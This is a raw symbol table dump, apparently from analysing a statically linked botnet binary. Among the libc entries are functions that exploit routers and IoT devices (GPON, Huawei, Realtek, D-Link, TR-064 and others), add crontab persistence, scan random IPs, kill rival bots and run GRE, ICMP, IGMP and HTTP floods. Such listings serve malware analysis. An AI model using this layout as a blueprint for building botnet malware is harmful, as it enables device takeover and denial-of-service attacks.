                __GI_open.symtab0x40d448106FUNC<unknown>HIDDEN2
                __GI_opendir.symtab0x407c74243FUNC<unknown>HIDDEN2
                __GI_perror.symtab0x407f7445FUNC<unknown>HIDDEN2
                __GI_pipe.symtab0x40d4c038FUNC<unknown>HIDDEN2
                __GI_poll.symtab0x40f2fc41FUNC<unknown>HIDDEN2
                __GI_raise.symtab0x40f28c18FUNC<unknown>HIDDEN2
                __GI_random.symtab0x40c20072FUNC<unknown>HIDDEN2
                __GI_random_r.symtab0x40c40890FUNC<unknown>HIDDEN2
                __GI_rawmemchr.symtab0x40f670190FUNC<unknown>HIDDEN2
                __GI_read.symtab0x40f32839FUNC<unknown>HIDDEN2
                __GI_readdir.symtab0x407d68143FUNC<unknown>HIDDEN2
                __GI_recv.symtab0x40b12811FUNC<unknown>HIDDEN2
                __GI_recvfrom.symtab0x40b13445FUNC<unknown>HIDDEN2
                __GI_sbrk.symtab0x40d4e874FUNC<unknown>HIDDEN2
                __GI_send.symtab0x40b16411FUNC<unknown>HIDDEN2
                __GI_sendto.symtab0x40b17048FUNC<unknown>HIDDEN2
                __GI_setsid.symtab0x407b3c38FUNC<unknown>HIDDEN2
                __GI_setsockopt.symtab0x40b1a053FUNC<unknown>HIDDEN2
                __GI_setstate_r.symtab0x40c360168FUNC<unknown>HIDDEN2
                __GI_sigaction.symtab0x40ceb5247FUNC<unknown>HIDDEN2
                __GI_signal.symtab0x40b208168FUNC<unknown>HIDDEN2
                __GI_sigprocmask.symtab0x40d53485FUNC<unknown>HIDDEN2
                __GI_sleep.symtab0x40c8cc415FUNC<unknown>HIDDEN2
                __GI_snprintf.symtab0x408034137FUNC<unknown>HIDDEN2
                __GI_socket.symtab0x40b1d847FUNC<unknown>HIDDEN2
                __GI_sprintf.symtab0x4080c0149FUNC<unknown>HIDDEN2
                __GI_srandom_r.symtab0x40c462169FUNC<unknown>HIDDEN2
                __GI_strcasecmp.symtab0x40fde848FUNC<unknown>HIDDEN2
                __GI_strcat.symtab0x409d80428FUNC<unknown>HIDDEN2
                __GI_strchr.symtab0x409f30417FUNC<unknown>HIDDEN2
                __GI_strcmp.symtab0x40f53433FUNC<unknown>HIDDEN2
                __GI_strcoll.symtab0x40f53433FUNC<unknown>HIDDEN2
                __GI_strcpy.symtab0x40a0e0213FUNC<unknown>HIDDEN2
                __GI_strdup.symtab0x40f7a854FUNC<unknown>HIDDEN2
                __GI_strlen.symtab0x40a1c0225FUNC<unknown>HIDDEN2
                __GI_strncat.symtab0x40f730119FUNC<unknown>HIDDEN2
                __GI_strncpy.symtab0x40a2a4131FUNC<unknown>HIDDEN2
                __GI_strnlen.symtab0x40a328206FUNC<unknown>HIDDEN2
                __GI_strpbrk.symtab0x40f558140FUNC<unknown>HIDDEN2
                __GI_strspn.symtab0x40f5e8135FUNC<unknown>HIDDEN2
                __GI_strstr.symtab0x40a3f8187FUNC<unknown>HIDDEN2
                __GI_strtok.symtab0x40a59810FUNC<unknown>HIDDEN2
                __GI_strtok_r.symtab0x40e85c94FUNC<unknown>HIDDEN2
                __GI_strtol.symtab0x40c5d810FUNC<unknown>HIDDEN2
                __GI_strtoll.symtab0x40c5d810FUNC<unknown>HIDDEN2
                __GI_sysconf.symtab0x40ca6c351FUNC<unknown>HIDDEN2
                __GI_tcgetattr.symtab0x40a5c0110FUNC<unknown>HIDDEN2
                __GI_time.symtab0x407b6439FUNC<unknown>HIDDEN2
                __GI_tolower.symtab0x407be030FUNC<unknown>HIDDEN2
                __GI_vfork.symtab0x40cfdc21FUNC<unknown>HIDDEN2
                __GI_vfprintf.symtab0x408818143FUNC<unknown>HIDDEN2
                __GI_vsnprintf.symtab0x408158199FUNC<unknown>HIDDEN2
                __GI_wait4.symtab0x40f35047FUNC<unknown>HIDDEN2
                __GI_waitpid.symtab0x40d58c7FUNC<unknown>HIDDEN2
                __GI_wcrtomb.symtab0x40d6f468FUNC<unknown>HIDDEN2
                __GI_wcsnrtombs.symtab0x40d748140FUNC<unknown>HIDDEN2
                __GI_wcsrtombs.symtab0x40d73815FUNC<unknown>HIDDEN2
                __GI_write.symtab0x407bb442FUNC<unknown>HIDDEN2
                __JCR_END__.symtab0x5139b80OBJECT<unknown>DEFAULT8
                __JCR_LIST__.symtab0x5139b80OBJECT<unknown>DEFAULT8
                __app_fini.symtab0x5162a88OBJECT<unknown>HIDDEN10
                __atexit_lock.symtab0x513e8040OBJECT<unknown>DEFAULT9
                __bsd_signal.symtab0x40b208168FUNC<unknown>HIDDEN2
                __bss_start.symtab0x513f080NOTYPE<unknown>DEFAULTSHN_ABS
                __check_one_fd.symtab0x40cc4a53FUNC<unknown>DEFAULT2
                __ctype_b.symtab0x513eb88OBJECT<unknown>DEFAULT9
                __ctype_tolower.symtab0x513aa08OBJECT<unknown>DEFAULT9
                __curbrk.symtab0x5163108OBJECT<unknown>HIDDEN10
                __data_start.symtab0x5139d00NOTYPE<unknown>DEFAULT9
                __decode_answer.symtab0x40f98c242FUNC<unknown>HIDDEN2
                __decode_dotted.symtab0x40feb8246FUNC<unknown>HIDDEN2
                __decode_header.symtab0x40f884161FUNC<unknown>HIDDEN2
                __deregister_frame_info.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                __dns_lookup.symtab0x40e8bc1862FUNC<unknown>HIDDEN2
                __do_global_ctors_aux.symtab0x40fff00FUNC<unknown>DEFAULT2
                __do_global_dtors_aux.symtab0x4001000FUNC<unknown>DEFAULT2
                __dso_handle.symtab0x5139c00OBJECT<unknown>HIDDEN9
                __encode_dotted.symtab0x40fe18160FUNC<unknown>HIDDEN2
                __encode_header.symtab0x40f7e0163FUNC<unknown>HIDDEN2
                __encode_question.symtab0x40f92880FUNC<unknown>HIDDEN2
                __environ.symtab0x5162988OBJECT<unknown>DEFAULT10
                __errno_location.symtab0x407df86FUNC<unknown>DEFAULT2
                __errno_location.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __exit_cleanup.symtab0x5162888OBJECT<unknown>HIDDEN10
                __fgetc_unlocked.symtab0x40e25c222FUNC<unknown>DEFAULT2
                __fini_array_end.symtab0x5139980NOTYPE<unknown>HIDDENSHN_ABS
                __fini_array_start.symtab0x5139980NOTYPE<unknown>HIDDENSHN_ABS
                __get_hosts_byname_r.symtab0x40f25c48FUNC<unknown>HIDDEN2
                __getdents.symtab0x40d12c300FUNC<unknown>HIDDEN2
                __getdents64.symtab0x40d12c300FUNC<unknown>HIDDEN2
                __getpagesize.symtab0x40d2f419FUNC<unknown>DEFAULT2
                __glibc_strerror_r.symtab0x40a4b414FUNC<unknown>DEFAULT2
                __glibc_strerror_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __h_errno_location.symtab0x40d6ec6FUNC<unknown>DEFAULT2
                __h_errno_location.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __init_array_end.symtab0x5139980NOTYPE<unknown>HIDDENSHN_ABS
                __init_array_start.symtab0x5139980NOTYPE<unknown>HIDDENSHN_ABS
                __length_dotted.symtab0x40ffb059FUNC<unknown>HIDDEN2
                __length_question.symtab0x40f97819FUNC<unknown>HIDDEN2
                __libc_close.symtab0x407a4441FUNC<unknown>DEFAULT2
                __libc_connect.symtab0x40b0d043FUNC<unknown>DEFAULT2
                __libc_creat.symtab0x40d4b214FUNC<unknown>DEFAULT2
                __libc_fcntl.symtab0x40cff4100FUNC<unknown>DEFAULT2
                __libc_fcntl64.symtab0x40cff4100FUNC<unknown>DEFAULT2
                __libc_fork.symtab0x407a7038FUNC<unknown>DEFAULT2
                __libc_getpid.symtab0x407a9838FUNC<unknown>DEFAULT2
                __libc_lseek.symtab0x40d3c845FUNC<unknown>DEFAULT2
                __libc_lseek64.symtab0x40d3c05FUNC<unknown>DEFAULT2
                __libc_nanosleep.symtab0x40d42038FUNC<unknown>DEFAULT2
                __libc_open.symtab0x40d448106FUNC<unknown>DEFAULT2
                __libc_poll.symtab0x40f2fc41FUNC<unknown>DEFAULT2
                __libc_read.symtab0x40f32839FUNC<unknown>DEFAULT2
                __libc_recv.symtab0x40b12811FUNC<unknown>DEFAULT2
                __libc_recvfrom.symtab0x40b13445FUNC<unknown>DEFAULT2
                __libc_send.symtab0x40b16411FUNC<unknown>DEFAULT2
                __libc_sendto.symtab0x40b17048FUNC<unknown>DEFAULT2
                __libc_sigaction.symtab0x40ceb5247FUNC<unknown>DEFAULT2
                __libc_stack_end.symtab0x5162908OBJECT<unknown>DEFAULT10
                __libc_waitpid.symtab0x40d58c7FUNC<unknown>DEFAULT2
                __libc_write.symtab0x407bb442FUNC<unknown>DEFAULT2
                __malloc_consolidate.symtab0x40bd65410FUNC<unknown>HIDDEN2
                __malloc_largebin_index.symtab0x40b30c96FUNC<unknown>DEFAULT2
                __malloc_lock.symtab0x513d0040OBJECT<unknown>DEFAULT9
                __malloc_state.symtab0x5167a01752OBJECT<unknown>DEFAULT10
                __malloc_trim.symtab0x40bccc153FUNC<unknown>DEFAULT2
                __nameserver.symtab0x516ea024OBJECT<unknown>HIDDEN10
                __nameservers.symtab0x516eb84OBJECT<unknown>HIDDEN10
                __open_etc_hosts.symtab0x40fa8042FUNC<unknown>HIDDEN2
                __open_nameservers.symtab0x40f004597FUNC<unknown>HIDDEN2
                __pagesize.symtab0x5162a08OBJECT<unknown>DEFAULT10
                __preinit_array_end.symtab0x5139980NOTYPE<unknown>HIDDENSHN_ABS
                __preinit_array_start.symtab0x5139980NOTYPE<unknown>HIDDENSHN_ABS
                __pthread_initialize_minimal.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                __pthread_mutex_init.symtab0x40cc463FUNC<unknown>DEFAULT2
                __pthread_mutex_lock.symtab0x40cc463FUNC<unknown>DEFAULT2
                __pthread_mutex_trylock.symtab0x40cc463FUNC<unknown>DEFAULT2
                __pthread_mutex_unlock.symtab0x40cc463FUNC<unknown>DEFAULT2
                __pthread_return_0.symtab0x40cc463FUNC<unknown>DEFAULT2
                __pthread_return_void.symtab0x40cc491FUNC<unknown>DEFAULT2
                __raise.symtab0x40f28c18FUNC<unknown>HIDDEN2
                __read_etc_hosts_r.symtab0x40faaa830FUNC<unknown>HIDDEN2
                __register_frame_info.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                __resolv_lock.symtab0x513ee040OBJECT<unknown>DEFAULT9
                __restore_rt.symtab0x40ceac0NOTYPE<unknown>DEFAULT2
                __rtld_fini.symtab0x5162b08OBJECT<unknown>HIDDEN10
                __searchdomain.symtab0x516e8032OBJECT<unknown>HIDDEN10
                __searchdomains.symtab0x516ebc4OBJECT<unknown>HIDDEN10
                __sigaddset.symtab0x40b2d028FUNC<unknown>DEFAULT2
                __sigdelset.symtab0x40b2ec30FUNC<unknown>DEFAULT2
                __sigismember.symtab0x40b2b032FUNC<unknown>DEFAULT2
                __stdin.symtab0x513ad88OBJECT<unknown>DEFAULT9
                __stdio_READ.symtab0x40d80c58FUNC<unknown>HIDDEN2
                __stdio_WRITE.symtab0x40d848147FUNC<unknown>HIDDEN2
                __stdio_adjust_position.symtab0x40f464133FUNC<unknown>HIDDEN2
                __stdio_fwrite.symtab0x40d8dc259FUNC<unknown>HIDDEN2
                __stdio_init_mutex.symtab0x40875715FUNC<unknown>HIDDEN2
                __stdio_mutex_initializer.4280.symtab0x41234040OBJECT<unknown>DEFAULT4
                __stdio_rfill.symtab0x40f4ec37FUNC<unknown>HIDDEN2
                __stdio_seek.symtab0x40f51431FUNC<unknown>HIDDEN2
                __stdio_trans2r_o.symtab0x40d9e090FUNC<unknown>HIDDEN2
                __stdio_trans2w_o.symtab0x40da3c148FUNC<unknown>HIDDEN2
                __stdio_wcommit.symtab0x4087f039FUNC<unknown>HIDDEN2
                __stdout.symtab0x513ae08OBJECT<unknown>DEFAULT9
                __syscall_error.symtab0x40f2e422FUNC<unknown>HIDDEN2
                __syscall_error.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __syscall_fcntl.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __uClibc_fini.symtab0x40cc0070FUNC<unknown>DEFAULT2
                __uClibc_init.symtab0x40cc7f67FUNC<unknown>DEFAULT2
                __uClibc_main.symtab0x40ccc2489FUNC<unknown>DEFAULT2
                __uClibc_main.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __uclibc_progname.symtab0x513ea88OBJECT<unknown>HIDDEN9
                __vfork.symtab0x40cfdc21FUNC<unknown>HIDDEN2
                __xpg_strerror_r.symtab0x40a4c4194FUNC<unknown>DEFAULT2
                __xpg_strerror_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __xstat64_conv.symtab0x40d594172FUNC<unknown>HIDDEN2
                __xstat_conv.symtab0x40d640172FUNC<unknown>HIDDEN2
                _adjust_pos.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _charpad.symtab0x4088a868FUNC<unknown>DEFAULT2
                _cs_funcs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _dl_aux_init.symtab0x40f2a023FUNC<unknown>DEFAULT2
                _dl_phdr.symtab0x516ec08OBJECT<unknown>DEFAULT10
                _dl_phnum.symtab0x516ec88OBJECT<unknown>DEFAULT10
                _edata.symtab0x513f080NOTYPE<unknown>DEFAULTSHN_ABS
                _end.symtab0x516ed00NOTYPE<unknown>DEFAULTSHN_ABS
                _errno.symtab0x5162bc4OBJECT<unknown>DEFAULT10
                _exit.symtab0x40799c42FUNC<unknown>DEFAULT2
                _exit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _fini.symtab0x4100285FUNC<unknown>DEFAULT3
                _fixed_buffers.symtab0x5140408192OBJECT<unknown>DEFAULT10
                _fopen.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _fp_out_narrow.symtab0x4088ec120FUNC<unknown>DEFAULT2
                _fpmaxtostr.symtab0x40dc141608FUNC<unknown>HIDDEN2
                _fpmaxtostr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _fwrite.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _h_errno.symtab0x5162c04OBJECT<unknown>DEFAULT10
                _init.symtab0x4000e85FUNC<unknown>DEFAULT1
                _load_inttype.symtab0x40dad085FUNC<unknown>HIDDEN2
                _load_inttype.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _ppfs_init.symtab0x408fa0114FUNC<unknown>HIDDEN2
                _ppfs_init.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _ppfs_parsespec.symtab0x4092521022FUNC<unknown>HIDDEN2
                _ppfs_parsespec.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _ppfs_prepargs.symtab0x40901467FUNC<unknown>HIDDEN2
                _ppfs_prepargs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _ppfs_setargs.symtab0x409058457FUNC<unknown>HIDDEN2
                _ppfs_setargs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _promoted_size.symtab0x40922446FUNC<unknown>DEFAULT2
                _pthread_cleanup_pop_restore.symtab0x40cc491FUNC<unknown>DEFAULT2
                _pthread_cleanup_push_defer.symtab0x40cc491FUNC<unknown>DEFAULT2
                _rfill.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _sigintr.symtab0x516720128OBJECT<unknown>HIDDEN10
                _start.symtab0x40019442FUNC<unknown>DEFAULT2
                _stdio.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _stdio_fopen.symtab0x4084c4551FUNC<unknown>HIDDEN2
                _stdio_init.symtab0x4086ec107FUNC<unknown>HIDDEN2
                _stdio_openlist.symtab0x513ae88OBJECT<unknown>DEFAULT9
                _stdio_openlist_add_lock.symtab0x513b0040OBJECT<unknown>DEFAULT9
                _stdio_openlist_dec_use.symtab0x40979c216FUNC<unknown>DEFAULT2
                _stdio_openlist_del_count.symtab0x5140244OBJECT<unknown>DEFAULT10
                _stdio_openlist_del_lock.symtab0x513b4040OBJECT<unknown>DEFAULT9
                _stdio_openlist_use_count.symtab0x5140204OBJECT<unknown>DEFAULT10
                _stdio_streams.symtab0x513b80384OBJECT<unknown>DEFAULT9
                _stdio_term.symtab0x408766135FUNC<unknown>HIDDEN2
                _stdio_user_locking.symtab0x513b684OBJECT<unknown>DEFAULT9
                _stdlib_strto_l.symtab0x40c5e4362FUNC<unknown>HIDDEN2
                _stdlib_strto_l.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _store_inttype.symtab0x40db2846FUNC<unknown>HIDDEN2
                _store_inttype.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _string_syserrmsgs.symtab0x4124402906OBJECT<unknown>HIDDEN4
                _string_syserrmsgs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _trans2r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _trans2w.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _uintmaxtostr.symtab0x40db58187FUNC<unknown>HIDDEN2
                _uintmaxtostr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _vfprintf_internal.symtab0x4089641595FUNC<unknown>HIDDEN2
                _vfprintf_internal.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _wcommit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                abort.symtab0x40c0e0276FUNC<unknown>DEFAULT2
                abort.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                access.symtab0x4079c841FUNC<unknown>DEFAULT2
                access.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                add_to_crontab.symtab0x400282164FUNC<unknown>DEFAULT2
                addthis.symtab0x400612106FUNC<unknown>DEFAULT2
                atoi.symtab0x40c5c418FUNC<unknown>DEFAULT2
                atoi.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                bcopy.symtab0x40a58814FUNC<unknown>DEFAULT2
                bcopy.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                been_there_done_that.symtab0x5162804OBJECT<unknown>DEFAULT10
                been_there_done_that.3160.symtab0x5162b84OBJECT<unknown>DEFAULT10
                bind.symtab0x40b0a443FUNC<unknown>DEFAULT2
                bind.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                brk.symtab0x40f2b843FUNC<unknown>DEFAULT2
                brk.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                bsd_signal.symtab0x40b208168FUNC<unknown>DEFAULT2
                buf.2989.symtab0x51605016OBJECT<unknown>DEFAULT10
                buf.5285.symtab0x516060500OBJECT<unknown>DEFAULT10
                calloc.symtab0x40bbd4248FUNC<unknown>DEFAULT2
                calloc.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                chdir.symtab0x4079f438FUNC<unknown>DEFAULT2
                chdir.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                check_crontab_entry.symtab0x4001c0194FUNC<unknown>DEFAULT2
                child_count.symtab0x513fc84OBJECT<unknown>DEFAULT10
                child_pids.symtab0x5165e0320OBJECT<unknown>DEFAULT10
                chmod.symtab0x407a1c40FUNC<unknown>DEFAULT2
                chmod.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                clock_getres.symtab0x40d05841FUNC<unknown>DEFAULT2
                clock_getres.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                close.symtab0x407a4441FUNC<unknown>DEFAULT2
                close.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                closedir.symtab0x407c00116FUNC<unknown>DEFAULT2
                closedir.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                completed.2761.symtab0x513f201OBJECT<unknown>DEFAULT10
                connect.symtab0x40b0d043FUNC<unknown>DEFAULT2
                connect.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                creat.symtab0x40d4b214FUNC<unknown>DEFAULT2
                createChildrenreplic.symtab0x401ece194FUNC<unknown>DEFAULT2
                crontab.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                crontabinit.symtab0x400326258FUNC<unknown>DEFAULT2
                crtstuff.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                crtstuff.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                csum.symtab0x402664128FUNC<unknown>DEFAULT2
                daemonize.symtab0x401b94138FUNC<unknown>DEFAULT2
                data_start.symtab0x5139d00NOTYPE<unknown>DEFAULT9
                decodea.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                decoded.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                decodeh.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                destroythis.symtab0x40067c72FUNC<unknown>DEFAULT2
                difftime.symtab0x407e0098FUNC<unknown>DEFAULT2
                difftime.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                dl-support.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                dnslookup.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                dup2.symtab0x40d08444FUNC<unknown>DEFAULT2
                dup2.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                encoded.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                encodeh.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                encodeq.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                encrypt.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                environ.symtab0x5162988OBJECT<unknown>DEFAULT10
                errno.symtab0x5162bc4OBJECT<unknown>DEFAULT10
                errno.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                execl.symtab0x40c7ac287FUNC<unknown>DEFAULT2
                execl.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                execve.symtab0x40d0b038FUNC<unknown>DEFAULT2
                execve.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                exit.symtab0x40c75092FUNC<unknown>DEFAULT2
                exit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                exp10_table.symtab0x413820208OBJECT<unknown>DEFAULT4
                exploit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                exploit_pid.symtab0x5165b84OBJECT<unknown>DEFAULT10
                exploit_socket_crossweb.symtab0x401196212FUNC<unknown>DEFAULT2
                exploit_socket_dlink.symtab0x401345219FUNC<unknown>DEFAULT2
                exploit_socket_gpon80.symtab0x400a79212FUNC<unknown>DEFAULT2
                exploit_socket_gpon8080.symtab0x4009a5212FUNC<unknown>DEFAULT2
                exploit_socket_hnap.symtab0x4010bb219FUNC<unknown>DEFAULT2
                exploit_socket_huawei.symtab0x400e38219FUNC<unknown>DEFAULT2
                exploit_socket_jaws.symtab0x40126a219FUNC<unknown>DEFAULT2
                exploit_socket_netgear80.symtab0x400d64212FUNC<unknown>DEFAULT2
                exploit_socket_netgear8080.symtab0x400c90212FUNC<unknown>DEFAULT2
                exploit_socket_r7064.symtab0x401420212FUNC<unknown>DEFAULT2
                exploit_socket_realtek.symtab0x400b4d323FUNC<unknown>DEFAULT2
                exploit_socket_tplink2.symtab0x4015c8219FUNC<unknown>DEFAULT2
                exploit_socket_tr064_5555.symtab0x400fe7212FUNC<unknown>DEFAULT2
                exploit_socket_tr064_7574.symtab0x400f13212FUNC<unknown>DEFAULT2
                exploit_socket_vacron.symtab0x4014f4212FUNC<unknown>DEFAULT2
                fclose.symtab0x407e64259FUNC<unknown>DEFAULT2
                fclose.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fcntl.symtab0x40cff4100FUNC<unknown>DEFAULT2
                fcntl64.symtab0x40cff4100FUNC<unknown>DEFAULT2
                fdopen.symtab0x40d7d454FUNC<unknown>DEFAULT2
                fdopen.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fflush_unlocked.symtab0x409874329FUNC<unknown>DEFAULT2
                fflush_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fgetc_unlocked.symtab0x40e25c222FUNC<unknown>DEFAULT2
                fgetc_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fgets.symtab0x409650109FUNC<unknown>DEFAULT2
                fgets.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fgets_unlocked.symtab0x4099c0116FUNC<unknown>DEFAULT2
                fgets_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fmt.symtab0x41380020OBJECT<unknown>DEFAULT4
                fopen.symtab0x407f6810FUNC<unknown>DEFAULT2
                fopen.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fork.symtab0x407a7038FUNC<unknown>DEFAULT2
                fork.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fprintf.symtab0x407fa4142FUNC<unknown>DEFAULT2
                fprintf.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fputs.symtab0x4096c097FUNC<unknown>DEFAULT2
                fputs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fputs_unlocked.symtab0x409a3456FUNC<unknown>DEFAULT2
                fputs_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                frame_dummy.symtab0x4001500FUNC<unknown>DEFAULT2
                fread.symtab0x409724119FUNC<unknown>DEFAULT2
                fread.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fread_unlocked.symtab0x409a6c306FUNC<unknown>DEFAULT2
                fread_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                free.symtab0x40beff452FUNC<unknown>DEFAULT2
                free.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fseek.symtab0x40f3805FUNC<unknown>DEFAULT2
                fseeko.symtab0x40f3805FUNC<unknown>DEFAULT2
                fseeko.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fseeko64.symtab0x40f388218FUNC<unknown>DEFAULT2
                fseeko64.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fstat.symtab0x40d0d882FUNC<unknown>DEFAULT2
                fstat.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fstat64.symtab0x40d0d882FUNC<unknown>DEFAULT2
                fuckothernets.symtab0x40173897FUNC<unknown>DEFAULT2
                fwrite_unlocked.symtab0x409ba0134FUNC<unknown>DEFAULT2
                fwrite_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                generateRandomIP.symtab0x4074c5256FUNC<unknown>DEFAULT2
                generate_random_string.symtab0x401a68300FUNC<unknown>DEFAULT2
                get_hosts_byname_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                get_http_content.symtab0x401c1e688FUNC<unknown>DEFAULT2
                get_ips_in_that_block.symtab0x407016272FUNC<unknown>DEFAULT2
                get_local_ip.symtab0x4026e4337FUNC<unknown>DEFAULT2
                get_pid.symtab0x401825577FUNC<unknown>DEFAULT2
                getc_unlocked.symtab0x40e25c222FUNC<unknown>DEFAULT2
                getdents64.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                getdtablesize.symtab0x40d25835FUNC<unknown>DEFAULT2
                getdtablesize.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                getegid.symtab0x40d27c38FUNC<unknown>DEFAULT2
                getegid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                geteuid.symtab0x40d2a438FUNC<unknown>DEFAULT2
                geteuid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                getgid.symtab0x40d2cc38FUNC<unknown>DEFAULT2
                getgid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                gethostbyname.symtab0x40ace853FUNC<unknown>DEFAULT2
                gethostbyname.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                gethostbyname_r.symtab0x40ad20897FUNC<unknown>DEFAULT2
                gethostbyname_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                getmethis.symtab0x4005d462FUNC<unknown>DEFAULT2
                getpagesize.symtab0x40d2f419FUNC<unknown>DEFAULT2
                getpagesize.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                getpid.symtab0x407a9838FUNC<unknown>DEFAULT2
                getpid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                getrlimit.symtab0x40d30840FUNC<unknown>DEFAULT2
                getrlimit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                getrlimit64.symtab0x40d30840FUNC<unknown>DEFAULT2
                getsockname.symtab0x40b0fc41FUNC<unknown>DEFAULT2
                getsockname.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                gettimeofday.symtab0x407ac038FUNC<unknown>DEFAULT2
                gettimeofday.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                getuid.symtab0x40d33038FUNC<unknown>DEFAULT2
                getuid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                global.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                gre.symtab0x40359a930FUNC<unknown>DEFAULT2
                h.5284.symtab0x51626032OBJECT<unknown>DEFAULT10
                h_errno.symtab0x5162c04OBJECT<unknown>DEFAULT10
                handshake.symtab0x402ead1058FUNC<unknown>DEFAULT2
                htonl.symtab0x40a6385FUNC<unknown>DEFAULT2
                htons.symtab0x40a6308FUNC<unknown>DEFAULT2
                http.symtab0x4032cf715FUNC<unknown>DEFAULT2
                i.symtab0x513f844OBJECT<unknown>DEFAULT10
                icmp.symtab0x404080930FUNC<unknown>DEFAULT2
                igmp.symtab0x404422930FUNC<unknown>DEFAULT2
                ignore_signals.symtab0x4017d481FUNC<unknown>DEFAULT2
                increment_ip.symtab0x406fe054FUNC<unknown>DEFAULT2
                index.symtab0x409f30417FUNC<unknown>DEFAULT2
                inet_addr.symtab0x40accc28FUNC<unknown>DEFAULT2
                inet_aton.symtab0x40abe8137FUNC<unknown>DEFAULT2
                inet_aton.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                inet_makeaddr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
